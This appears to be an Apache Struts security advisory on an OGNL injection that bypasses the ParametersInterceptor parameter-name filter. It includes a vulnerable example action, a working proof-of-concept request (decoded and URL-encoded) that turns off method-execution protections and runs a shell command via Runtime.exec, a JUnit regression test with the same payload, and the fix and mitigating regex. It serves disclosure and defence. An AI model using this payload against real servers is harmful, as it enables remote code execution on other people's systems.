Page History

...

A similar behavior was already addressed in S2-003 and S2-005, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
According to the regex pattern present into the ParametersInterceptor top Regular expression in ParametersInterceptor matches top['foo'](0) is as a valid expression, unfortunately expression like this are further evaluated, hence resolved, by the OGNL parser. Then, a malicious user could inject into the foo var one of the following reserved keyword, bypassing the beforementioned filter:

...

which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.

Proof of concept

public class FooAction {
    private String foo;

    public String execute() {
        return "success";
    }
    public String getFoo() {
        return foo;
    }

    public void setFoo(String foo) {
        this.foo = foo;
    }
}

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

encoded version:

/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

And the JUnit version

public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
    @Test
    public void testExecute() throws Exception {
        request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
                "java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), " +
                "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");

        request.setParameter("top['foo'](0)", "true");

        String res = this.executeAction("/example/foo.action");
        FooAction action = this.getAction();

        File pwn = new File("/tmp/PWNAGE");
        Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
    }
}

...

Solution

The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

...

The following additional interceptor-ref configuration , suggested by John Wilander, should mitigate the problem when applied correctly, allowing only simple navigational expression:

<interceptor-ref name="params">
	<param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
</interceptor-ref>